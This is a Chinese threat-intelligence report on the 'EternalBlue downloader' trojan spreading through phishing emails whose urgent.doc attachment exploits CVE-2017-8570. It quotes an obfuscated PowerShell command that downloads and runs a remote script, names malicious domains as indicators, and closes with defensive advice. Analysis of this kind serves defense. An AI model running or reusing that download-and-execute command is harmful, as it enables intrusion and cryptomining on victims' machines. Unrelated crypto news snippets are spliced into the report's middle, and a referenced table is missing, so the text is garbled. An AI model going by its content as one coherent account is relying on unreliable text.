来源:腾讯御见威胁情报中心
编者注:原标题为《“永恒之蓝下载器木马”新增钓鱼邮件传播,附件含CVE-2017-8570漏洞攻击代码》
“永恒之蓝”下载器木马在感染用户机器上运行后,会自动当前用户的邮箱通讯录并发送附件为urgent.doc的文档,该文档附带CVE-2017-8570漏洞攻击代码。
某巨鲸从Binance提出8500枚ETH:金色财经报道,据链上分析师余烬监测, ETH巨鲸(钱包地址0xa079开头)从Binance提出8500枚ETH(约1537万美元)。他 5月23日转入Binance的17500枚ETH,目前已接回了17400枚ETH。[2023/5/26 9:44:00]
如果被攻击用户收到邮件并不慎打开文档,就可能触发漏洞执行Powershell命令下载mail.jsp:
C:/Windows/System32/cmd.exe/cpowershellIE`x(Ne`w-Obj`ectNet.WebC`lient).DownLoadString(http://ap35nf7.jp/mail.jsp?Administrator*OUHH1)
尼日利亚人现在可以用BTC和ETH支付水电费:金色财经报道,尼日利亚人现在可以用BTC和ETH支付水电费,据报道,尼日利亚人现在可以通过尼日利亚电力控股公司(PHCN)集成的区块链支付网关,使用他们持有的比特币和以太坊来支付水电费。
据报道称,尼日利亚电力控股公司(PHCN),前身为尼日利亚国家电力局(NEPA),是一个管理尼日利亚电力使用的组织。[2022/8/11 12:18:50]
而下载使用的域名ap35nf7.jp实际上并没有注册,但是依然能够解析到地址:t.awcna.com,是因为被感染机器的本地hosts文件被篡改,使得随机生成的域名映射到木马使用的恶意地址,细节请参考御见威胁情报中心此前发布的报告:《“永恒之蓝下载器”木马篡改hosts指向随机域名,再用多个漏洞攻击内网挖矿》。
StarGarden宣布完成500万美元的种子轮融资:8月9日消息,总部位于洛杉矶的游戏工作室 Arrivant 正在将其 Project Eluüne:StarGarden 游戏在 Polygon 上推出。该公司还宣布了一轮 500 万美元的种子轮融资,估值为 3500 万美元。C2 Ventures 领投了这轮融资,Polygon 本身、6th Man、Lightspeed 等也参与了此次融资。它将利用这笔资金扩大其团队规模,并专注于在 2023 年第一季度之前提供游戏的早期访问权限。
据悉,Arrivant 由 Gamelin、Meghan McWilliams 和 Ramin Shokiradze 于 2020 年初创立。Polygon Studios 是 2022 年第二季度第三大最活跃的区块链投资者,该链拥有近 200 款区块链游戏,仅次于 Animoca Brands 和 Coinbase Ventures。[2022/8/9 12:13:05]
本次攻击过程中,木马将使用随机生成的字符加“.cn”或”.jp“或”.kr“后缀作为DGA域名,并在hosts文件中指向域名:
t.tr2q.com,t.awcna.com,t.amynx.com
mail.jsp经过高度混淆,多次解密后可以看到其安装多个计划任务下载Powershell脚本执行,并使用了新的计划任务名:
“Bluetea“蓝茶。
“永恒之蓝”下载器木马自出现之后从未停止更新,从最初的PE样本攻击到后来转移为以Powershell无文件攻击方式躲避查杀,并且通过安装多个类型的计划任务进行持久化。在传播方式上,最初通过供应链攻击积累一批感染机器后,又不断利用”永恒之蓝”漏洞,MSSql爆破,$IPC爆破,RDP爆破等方法进行扩散传播,近期又增加了DGA域名攻击和钓鱼邮件攻击,其最终目的只为利用用户机器挖矿门罗币获利。
永恒之蓝下载器木马的历次版本更新参考下表:
安全建议
1.建议用户不要轻易打开不明来源的邮件附件,对于邮件附件中的文件要格外谨慎运行,如发现有脚本或其他可执行文件可先使用杀软件进行扫描;
2.服务器使用安全的密码策略,特别是IPC$、MSSQL、RDP账号密码,切勿使用弱口令,避免遭遇弱密码爆破攻击;
3.根据微软安全公告及时修复Office漏洞CVE-2017-8570,需进行漏洞扫描和修复,或采用WindowsUpdate进行。
IOCs
http//t.awcna.com/mail.jsp
郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。